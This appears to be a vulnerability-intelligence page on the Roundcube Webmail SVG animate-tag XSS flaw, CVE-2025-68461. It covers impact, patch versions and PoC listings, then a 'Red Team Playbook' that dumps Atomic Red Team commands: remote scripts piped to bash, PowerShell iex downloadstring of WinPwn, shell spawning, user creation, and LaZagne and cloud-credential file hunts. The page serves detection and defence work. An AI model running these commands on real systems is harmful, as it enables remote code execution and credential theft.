CVE-2025-68461
Overview
This vulnerability is a Cross-Site Scripting (XSS) flaw rooted in improper sanitization of SVG documents, specifically within the animate tag. The Roundcube Webmail rendering engine fails to correctly validate or escape user-supplied SVG content, allowing malicious scripts to be injected and executed. The affected component is the SVG handling functionality in Roundcube Webmail versions prior to 1.5.12 and 1.6.12.
Vulnerability Description
Roundcube Webmail before 1.5.12 and 1.6 before 1.6.12 is prone to a Cross-Site-Scripting (XSS) vulnerability via the animate tag in an SVG document.
Impact
An unauthenticated attacker can exploit this vulnerability by sending a specially crafted SVG payload that executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, or unauthorized actions performed on behalf of the user. Since no user interaction or authentication is required, the attack can be triggered simply by the victim viewing the malicious email or content. This results in potential compromise of user accounts and unauthorized access to sensitive communications within the Roundcube Webmail environment.
Solution
Upgrade Roundcube Webmail to version 1.5.12 or later, or 1.6.12 or later as detailed in the official security update announcement at https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12. The vendor has addressed the SVG sanitization flaw in these releases. Administrators should apply these patches promptly and consult the referenced advisory for detailed installation instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in certain versions of Roundcube Webmail is a Cross-Site Scripting (XSS) flaw that arises from improper handling of SVG documents, specifically through the use of the animate tag. This issue allows an attacker to inject malicious scripts into web pages viewed by users. When a victim interacts with the compromised SVG content, the injected script can execute in the context of the user's session, potentially leading to unauthorized actions or data theft. The vulnerability is particularly concerning because it can be exploited without requiring any authentication, making it accessible to unauthenticated attackers.
Attack vectors for this vulnerability are varied and can be executed through several methods. An attacker could craft a malicious email containing an SVG file with the exploit and send it to a target user. If the user opens the email and views the SVG content, the malicious script could execute, leading to session hijacking or data exfiltration. Additionally, attackers could host the SVG file on a compromised server or a malicious website, enticing users to visit and triggering the XSS payload. The ease of exploitation and the potential for widespread impact make this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be significant for organizations that utilize Roundcube Webmail. Successful exploitation could lead to unauthorized access to sensitive information, including user credentials, personal data, and corporate communications. The business risks associated with such breaches include reputational damage, financial loss, and potential legal ramifications due to data protection regulations. Organizations may also face operational disruptions as they respond to incidents and remediate affected systems. The potential for widespread phishing campaigns leveraging this vulnerability further exacerbates the threat landscape, as attackers can impersonate trusted entities to deceive users.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating Roundcube Webmail to the latest versions is crucial, as patches are released to address known vulnerabilities. Additionally, organizations should employ web application firewalls (WAF) that can help filter out malicious requests and block XSS attempts. Security awareness training for users is also essential, as educating them about the risks associated with opening unsolicited emails or clicking on suspicious links can reduce the likelihood of successful exploitation. Furthermore, implementing Content Security Policy (CSP) headers can provide an additional layer of protection by restricting the sources from which scripts can be executed.
In conclusion, the XSS vulnerability in Roundcube Webmail poses a significant threat to organizations that rely on this platform for email communication. The potential for exploitation through various attack vectors, coupled with the serious implications of successful attacks, necessitates immediate attention and action. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems and protect sensitive data from malicious actors. Continuous monitoring and security updates will be vital in maintaining a robust defense against evolving threats in the cybersecurity landscape.
CSURFACE threat intelligence has identified a marked escalation in the exploitability of CVE-2025-68461, as evidenced by a significant increase in the Exploit Prediction Scoring System (EPSS) score, which rose by over 30%. This shift reflects the emergence of new proof-of-concept exploits and detection tools that have broadened the attack surface for this Cross-Site Scripting vulnerability in Roundcube Webmail. Our telemetry indicates a steady upward trend in exploitation attempts, underscoring growing adversary interest and capability to leverage this flaw. Although ransomware usage linked to this vulnerability remains undetermined, the expanding exploit landscape elevates the risk profile for organizations relying on affected Roundcube versions. Consequently, the threat level has shifted toward a higher medium range, warranting heightened vigilance as exploitation vectors become more accessible and detection complexity increases.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
rxerium/CVE-2025-68461
Detection for CVE-2025-68461
|
rxerium | 16 | 1 | 2025-12-19 | View |
|
gotr00t0day/CVE-2025-68461
A C++ security scanner tool to detect Cross-Site Scripting (XSS) vulnerabilities in Roundcube Webmail installations.
|
gotr00t0day | 6 | 1 | 2025-12-22 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-68461 |
| roundcube.net |
GitHub CVE
|
https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12 |
| github.com |
GitHub CVE
|
https://github.com/roundcube/roundcubemail/commit/bfa032631c36b900e7444dfa278340b33cbf7cdb |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-68461 |